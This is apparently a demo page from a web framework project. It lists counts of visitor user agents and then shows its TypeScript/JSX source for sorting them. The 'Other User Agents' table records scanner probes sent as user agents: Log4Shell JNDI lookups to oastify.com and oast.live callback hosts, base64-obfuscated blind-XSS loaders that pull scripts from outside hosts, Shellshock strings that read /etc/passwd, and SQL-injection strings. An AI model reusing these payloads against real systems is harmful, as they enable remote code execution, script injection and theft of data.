swarm-web git

#visitor16230
#session275
#live-session0

User Agents of Visitors

This page demonstrates showing query result from database.

Below list of user agents are collected from the visitor's HTTP header.

User AgentCount
Windows5621
Other2370
MacOS2361
Linux2094
Bots1567
Android1266
iPhone131
curl44
ChromeOS8
iPad7
Links4
Lynx2
Bot AgentCount
PaloBot898
CensysInspect471
PythonRequests107
NetcraftSurveyAgent40
InternetMeasurement35
TelegramBot11
GoogleBot2
YahooBot1
WhatsAppBot1
YandexBot1
Other User AgentsCount
Go-http-client/2.01
Fuzz Faster U Fool v1.5.0-dev1
Go-http-client/1.11
Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.361
Mozilla/4.0 (compatible; Netcraft Web Server Survey)1
webprosbot/2.0 (+mailto:abuse-6337@webpros.com)1
Mozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot)1
Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)1
Mozilla/5.0 (l9scan/2.0.531323e2033323e2530313e2237313; +https://leakix.net)1
Mozilla/5.0 zgrab/0.x1
¿¿?'?"%bf¿¿${jndi:dns://975458N${sys:java.version}.0bc4cw4b9zfho3xc9a4hwqoptgzan0bp.oastify.com/a}1
¿¿?'?"%bf¿¿${jndi:dns://951937X${sys:java.version}.q8z4i7rmjj2ogm2vzkmcs56ed5j07qvf.oastify.com/a}1
¿¿?'?"%bf¿¿${jndi:dns://951937X${sys:java.version}.x20ezh56c0a1wouis0lv8gxa016suii7.oastify.com/a}1
Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.111
¿¿?'?"%bf¿¿${jndi:dns://925556F${sys:java.version}.mpfatzt6msumn9fscuhmcocu8lec23qs.oastify.com/a}1
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggr+/v7+/v7+/v7+/v78ke2puZGk6ZG5zOi8vOTE0NzIxRiR7c3lzOmphdmEudmVyc2lvbn0uMGtsNGVkbTJhOWVzMngyY3h3c2Myd3E1ZXdrcDhmdzQub2FzdGlmeS5jb20vYX0=" alt="Red dot" />1
MicroMessenger1
libwww-perl/6.711
¿¿¿¿¿${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//909922F.ibxm7u0cqb9hwncxpumpee1hm8s1gr4g.oastify.com/a}1
Mozilla/5.0 researchscan.comsys.rwth-aachen.de1
Mozilla/5.0 (X11; CrOS i686 1193.158.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.71
%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fxless-theta-one.vercel.app%2F909922A%3E%3C%2Fscript%3E1
'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>1
SEC-SGHE900/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1378; nl; U; ssr)1
<Svg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvOTA5OTIyQSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= Only=1 OnLoad=eval(atob(this.id))>1
concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e)' or select(concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e))'<Svg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvODc2NTc4TUVHQSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= Only=1 OnLoad=eval(atob(this.id))>¿¿?\'?\"%bf¿¿${jndi:dns://876578MEGA${sys:java.version}.hrc2pjkxddomti2qtkfnowmaw12tqje8.oastify.com/a} concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e)1
"><script src="https://xless-theta-one.vercel.app/166645O"></script>1
concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e)' or select(concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e))'<Svg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvODc2NTc4TUVHQSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= Only=1 OnLoad=eval(atob(this.id))>¿¿?\'?\"%bf¿¿${jndi:dns://876578MEGA${sys:java.version}.dev1857ymo286hkcdp5sut0eg5mxanyc.oastify.com/a} concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e)1
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"><script src="https://xless-theta-one.vercel.app/876578MEGA"></script>jaVasCript%3A%2F%2A-%2F%2A%60%2F%2A%5C%60%2F%2A%27%2F%2A%22%2F%2A%2A%2F%28%2F%2A%20%2A%2FoNcliCk%3Dalert%28%29%20%29%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--%21%3E%5Cx3csVg%2F%3CsVg%2FoNloAd%3Dalert%28%29%2F%2F%3E%5Cx3e%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fxless-theta-one.vercel.app%2F876578MEGA%22%3E%3C%2Fscript%3E jaVasCript%253A%252F%252A-%252F%252A%2560%252F%252A%255C%2560%252F%252A%2527%252F%252A%2522%252F%252A%252A%252F%2528%252F%252A%2520%252A%252FoNcliCk%253Dalert%2528%2529%2520%2529%252F%252F%25250D%25250A%25250d%25250a%252F%252F%253C%252FstYle%252F%253C%252FtitLe%252F%253C%252FteXtarEa%252F%253C%252FscRipt%252F--%2521%253E%255Cx3csVg%252F%253CsVg%252FoNloAd%253Dalert%2528%2529%252F%252F%253E%255Cx3e%2522%253E%253Cscript%2520src%253D%2522https%253A%252F%252Fxless-theta-one.vercel.app%252F876578MEGA%2522%253E%253C%252Fscript%253E<Svg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvODc2NTc4TUVHQSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= Only=1 OnLoad=eval(atob(this.id))>\xbf\xbf.%3CSvg%20src%3Dx%20id%3DdmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvMTY2NjQ1TyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs%3D%20Only%3D1%20OnLoad%3Deval%28atob%28this.id%29%29%3E%5Cxbf%5Cxbf <> %253CSvg%2520src%253Dx%2520id%253DdmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvMTY2NjQ1TyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs%253D%2520Only%253D1%2520OnLoad%253Deval%2528atob%2528this.id%2529%2529%253E%255Cxbf%255Cxbf1
RepoLookoutBot/v1.1.0-271-g40cd1c9 (abuse reports to abuse@repo-lookout.org)1
MSIE1
asusrouter--1
Nacos-Server1
() { :; }; echo ; echo ; /bin/cat /etc/passwd1
${jndi:ldap://127.0.0.1#.${hostName}.useragent.ck9iagjkoq4cnd92qsuggpcymsrnaazwu.oast.live}1
${jndi:ldap://${:-690}${:-865}.${hostName}.useragent.ck9iagjkoq4cnd92qsugjfytnoikryruz.oast.live}1
TNAS1
Node.js1
Report Runner1
AVAYA1
"() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'"1
concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e)' or select(concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e))'<Svg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvODc2NTc4TUVHQSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= Only=1 OnLoad=eval(atob(this.id))>???\'?\"%bf??${jndi:dns://876578MEGA${sys:java.version}.xbci1fg6sdccuwpbbkars9nw5nbfz5nu.oastify.com/a} concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e)"><script src="https://xless-theta-one.vercel.app/876578MEGA"></script>"><script src="https://js.rip/a37u5o3jfl"></script>;javascript:eval('var a=document.createElement(\'script\');a.src=\'https://js.rip/a37u5o3jfl\';document.body.appendChild(a)')"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwL2EzN3U1bzNqZmwiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwL2EzN3U1bzNqZmwiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwL2EzN3U1bzNqZmwiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwL2EzN3U1bzNqZmwiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7><script>$.getScript("https://js.rip/a37u5o3jfl")</script>1
MobileSafari/8615.1.26.10.24 CFNetwork/1406.0.4 Darwin/22.4.01
Screaming Frog SEO Spider/8.11
Mozilla/5.0 (PLAYSTATION 3; 1.10)1
everyfeed-spider/2.0 (http://www.everyfeed.com)1
Apache/2.4.34 (Ubuntu) OpenSSL/1.1.1 (internal dummy connection)1
SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
¿¿?'?"%bf¿¿${${lower:j}ndi:dns://876328BIGOPTIONS${hostName}.logger.t2w01rrywy0vhymc3ey6jofosfyem4at.oastify.com/a}1
firefox1
Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.001
Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 SonyEricssonP100/01; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 Safari/5251
¿${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://3650934F.${hostName}.ct9wf7993lf1j8vxvawaywflmcs3gt4i.oastify.com/z}1
Mozilla/5.0 (compatible; BitSightBot/1.0)1
Python/3.9 aiohttp/3.9.11
python-httpx/0.25.21
W3C_Validator/1.6541
SonyEricssonT100/R1011
grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)1
Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)1
BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.01
`Mozilla/5.01
'Cloud mapping experiment. Contact research@pdrlabs.net'1
Opera/8.01 (J2ME/MIDP; Opera Mini/1.0.1479/HiFi; SonyEricsson P900; no; U; ssr)1
Web Downloader/6.91
colly - https://github.com/gocolly/colly/v21
axios/1.4.01
Mozilla/5.0 (X11; FreeBSD amd64; rv:54.0) Gecko/20100101 Firefox/54.01
AdsBot-Google ( http://www.google.com/adsbot.html)1
Shop/2.137.0-release.113elf/r?${jndi:dns://HostNameIS${hostName}.8nwgqjic6fqd8sue4d63khfaq1wskl8a.oastify.com/a}'<Svg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYngtZXRhLnZlcmNlbC5hcHAvZ3JhcGhxbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= Only=1 OnLoad=eval(atob(this.id))>ecently_vie8 ios/17.1.21
Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14320/554; U; cs) Presto/2.2.01
Mozilla/5.0 (compatible; wpbot/1.0; +https://forms.gle/ajBaxygz9jSR8p8G9)1
Mozilla/4.0 (compatible; Dillo 3.0)1
SAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.01
Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.361
MOT-V9mm/00.62 UP.Browser/6.2.3.4.c.1.123 (GUI) MMP/2.01
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/0569f25 warc/v0.8.331
P3P Validator1
SearchExpress1
'Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/networks/ip-networks/deepfield/genome/)'1
SAMSUNG-S8000/S8000XXIF3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 FirePHP/0.31
node1
Opera/10.61 (J2ME/MIDP; Opera Mini/5.1.21219/19.999; en-US; rv:1.9.3a5) WebKit/534.5 Presto/2.6.301
SonyEricssonZ800/R1Y Browser/SEMC-Browser/4.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.01
Mozilla/5.0 (compatible; wpbot/1.1; +https://forms.gle/ajBaxygz9jSR8p8G9)1
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/52b2551 warc/v0.8.381
Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.161
Mozilla/5.0 (compatible; alexa site audit/1.0; +http://www.alexa.com/help/webmasters; )1
Mozilla/5.0 (PLAYSTATION 3; 2.00)1
cc1
msnbot/1.0 ( http://search.msn.com/msnbot.htm)1
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/ae4878c warc/v0.8.391
Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)1
Mozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.0 SeaMonkey/2.42.9esr1
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/2ac2af5 warc/v0.8.401
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/8cdd3d9 warc/v0.8.431
BlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/1031
Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.361
libwww-perl/5.8201
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es651
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/4131
SonyEricssonW850i/R1ED Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
NetSurf/1.2 (NetBSD; amd64)1
MOTORIZR-Z8/46.00.00 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 356) Opera 8.65 [it] UP.Link/6.3.0.0.01
Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.01
Download Demon/3.5.0.111
Mozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.01
Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)1
portalmmm/2.0 N410i(c20;TB)1
Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.0 SeaMonkey/2.351
Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.51
Mozilla/5.0 (compatible)1
'Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/genomecrawler)'1
https://gdnplus.com:Gather Analyze Provide.1
Scrapy/2.12.0 (+https://scrapy.org)1
Java/17.0.21
SonyEricssonW580i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
ct‑git‑scanner/0.41
facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)1
Mozilla/5.01
Mozilla/5.0 (compatible; Konqueror/4.1; DragonFly) KHTML/4.1.4 (like Gecko)1
FH Muenster/Security-Scanner/fh-muenster.de1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)1
Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.81
Mozilla/5.0 (compatible; wpbot/1.3; +https://forms.gle/ajBaxygz9jSR8p8G9)1
Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)1
python-httpx/0.28.11
Python-urllib/3.101
Scrapy/2.13.3 (+https://scrapy.org)1
BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/1021
Mozilla/3.01Gold (Win95; I)1
fhms-its-research-scanner/1.0 (+https://fb02itsscan02.fh-muenster.de)1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.0; +https://openai.com/gptbot)1
ip9max/1.01
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)1
RecordedFuture Global Inventory Crawler1
python-httpx/0.22.01
Python/3.14 aiohttp/3.13.21
python-httpx/0.16.11
python-httpx/0.27.21
Mozilla/5.0 (compatible; UGAResearchAgent/1.0; Please visit: NISLabUGA.github.io)1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)1
Source Code of user-agents.tsx
(import statements omitted for simplicity, click to expand)
import { getUserAgents } from '../../../db/store.js'
import SourceCode from '../components/source-code.js'
import Style from '../components/style.js'
import { o } from '../jsx/jsx.js'
function classifyUserAgents(
  rows: Array<{ user_agent: string; count: number }>,
) {
  let Android = 0
  let iPhone = 0
  let iPad = 0
  let MacOS = 0
  let ChromeOS = 0
  let Windows = 0
  let Linux = 0
  let Kindle = 0
  let curl = 0
  let Wget = 0
  let Links = 0
  let Lynx = 0
  let YahooBot = 0
  let BingBot = 0
  let GoogleBot = 0
  let DuckDuckGoBot = 0
  let TwitterBot = 0
  let TelegramBot = 0
  let WhatsAppBot = 0
  let FacebookBot = 0
  let YandexBot = 0
  let MixrankBot = 0
  let PetalBot = 0
  let QwantBot = 0
  let BLEXBot = 0
  let AhrefsBot = 0
  let DotBot = 0
  let NeevaBot = 0
  let CiscoAnyConnect = 0
  let Other = 0
  let PythonRequests = 0
  let CensysInspect = 0
  let InternetMeasurement = 0
  let MJ12Bot = 0
  let NetcraftSurveyAgent = 0
  let PaloBot = 0
  let DataForSeoBot = 0
  let LinkdexBot = 0
  let BarkrowlerBot = 0
  let SemrushBot = 0
  let Nmap = 0
  let others = new Map<string, number>()

  rows.forEach(row => {
    let ua: string = row.user_agent
    let count: number = row.count
    if (ua.startsWith('TelegramBot')) TelegramBot += count
    else if (ua.startsWith('WhatsApp')) WhatsAppBot += count
    else if (ua.startsWith('AnyConnect')) CiscoAnyConnect += count
    else if (ua.startsWith('python-requests')) PythonRequests += count
    else if (ua.includes('http://help.yahoo.com/help/us/ysearch/slurp'))
      YahooBot += count
    else if (ua.includes('https://neeva.com/neevabot')) NeevaBot += count
    else if (ua.includes('www.bing.com/bingbot')) BingBot += count
    else if (ua.includes('paloaltonetworks.com')) PaloBot += count
    else if (ua.includes('https://nmap.org/book/nse.html')) Nmap += count
    else if (ua.includes('info@netcraft.com')) NetcraftSurveyAgent += count
    else if (ua.includes('https://webmaster.petalsearch.com/site/petalbot'))
      PetalBot += count
    else if (ua.includes('https://www.qwant.com/')) QwantBot += count
    else if (ua.includes('http://mj12bot.com/')) MJ12Bot += count
    else if (ua.includes('https://babbar.tech/crawler')) BarkrowlerBot += count
    else if (ua.includes('http://webmeup-crawler.com/')) BLEXBot += count
    else if (ua.includes('http://www.linkdex.com/bots/')) LinkdexBot += count
    else if (ua.includes('https://opensiteexplorer.org/dotbot')) DotBot += count
    else if (ua.includes('http://ahrefs.com/robot/')) AhrefsBot += count
    else if (ua.includes('http://www.google.com/bot.html')) GoogleBot += count
    else if (ua.includes('Googlebot-Image')) GoogleBot += count
    else if (ua.includes('http://duckduckgo.com')) DuckDuckGoBot += count
    else if (ua.includes('http://yandex.com/bots')) YandexBot += count
    else if (ua.includes('https://about.censys.io')) CensysInspect += count
    else if (ua.includes('crawler@mixrank.com')) MixrankBot += count
    else if (ua.includes('facebookexternalhit')) FacebookBot += count
    else if (ua.includes('http://www.semrush.com/bot.html')) SemrushBot += count
    else if (ua.includes('https://internet-measurement.com'))
      InternetMeasurement += count
    else if (ua.includes('https://dataforseo.com/dataforseo-bot'))
      DataForSeoBot += count
    else if (ua.includes('iPhone')) iPhone += count
    else if (ua.includes('iPad')) iPad += count
    else if (ua.includes('Macintosh')) MacOS += count
    else if (ua.includes('KFAPWI')) Kindle += count
    else if (ua.includes('curl')) curl += count
    else if (ua.includes('Wget')) Wget += count
    else if (ua.includes('Lynx')) Lynx += count
    else if (ua.includes('Links')) Links += count
    else if (ua.includes('Android') || ua.includes('Nokia')) Android += count
    else if (ua.includes('X11; CrOS x86_64')) ChromeOS += count
    else if (ua.includes('Windows')) Windows += count
    else if (ua.includes('Linux')) Linux += count
    else {
      Other += count
      others.set(ua, (others.get(ua) || 0) + 1)
    }
  })

  return {
    platforms: {
      Android,
      ChromeOS,
      iPhone,
      iPad,
      MacOS,
      Windows,
      Linux,
      Kindle,
      curl,
      Wget,
      Links,
      Lynx,
      Other,
    },
    bots: {
      BingBot,
      GoogleBot,
      YahooBot,
      DuckDuckGoBot,
      TwitterBot,
      FacebookBot,
      TelegramBot,
      WhatsAppBot,
      QwantBot,
      BLEXBot,
      PetalBot,
      NeevaBot,
      InternetMeasurement,
      MJ12Bot,
      NetcraftSurveyAgent,
      DataForSeoBot,
      LinkdexBot,
      BarkrowlerBot,
      SemrushBot,
      YandexBot,
      CiscoAnyConnect,
      AhrefsBot,
      DotBot,
      PythonRequests,
      CensysInspect,
      MixrankBot,
      PaloBot,
      Nmap,
    },
    others,
  }
}

function mapRows(counts: Record<string, number> | Map<string, number>) {
  return (
    counts instanceof Map
      ? Array.from(counts.entries())
      : Object.entries(counts)
  )
    .filter(entry => entry[1] > 0)
    .sort((a, b) => b[1] - a[1])
    .map(([ua, count]) => (
      <tr>
        <td>{ua}</td>
        <td>{count}</td>
      </tr>
    ))
}

function Tables() {
  let rows = getUserAgents()
  let { others, bots, platforms } = classifyUserAgents(rows)

  let Bots = Object.values(bots).reduce((acc, c) => acc + c)
  Object.assign(platforms, { Bots })

  let platformTable = (
    <table>
      <thead>
        <tr>
          <th>User Agent</th>
          <th>Count</th>
        </tr>
      </thead>
      <tbody>{[mapRows(platforms)]}</tbody>
    </table>
  )

  let botTable = (
    <table>
      <thead>
        <tr>
          <th>Bot Agent</th>
          <th>Count</th>
        </tr>
      </thead>
      <tbody>{[mapRows(bots)]}</tbody>
    </table>
  )

  if (others.size === 0) {
    return (
      <>
        {platformTable}
        {botTable}
      </>
    )
  }
  let otherTable = (
    <table>
      <thead>
        <th>Other User Agents</th>
        <th>Count</th>
      </thead>
      <tbody>{[mapRows(others)]}</tbody>
    </table>
  )
  return (
    <>
      {platformTable}
      {botTable}
      {otherTable}
    </>
  )
}

let UserAgents = (
  <div id="user-agents">
    <h2>User Agents of Visitors</h2>
    {Style(/* css */ `
#user-agents table {
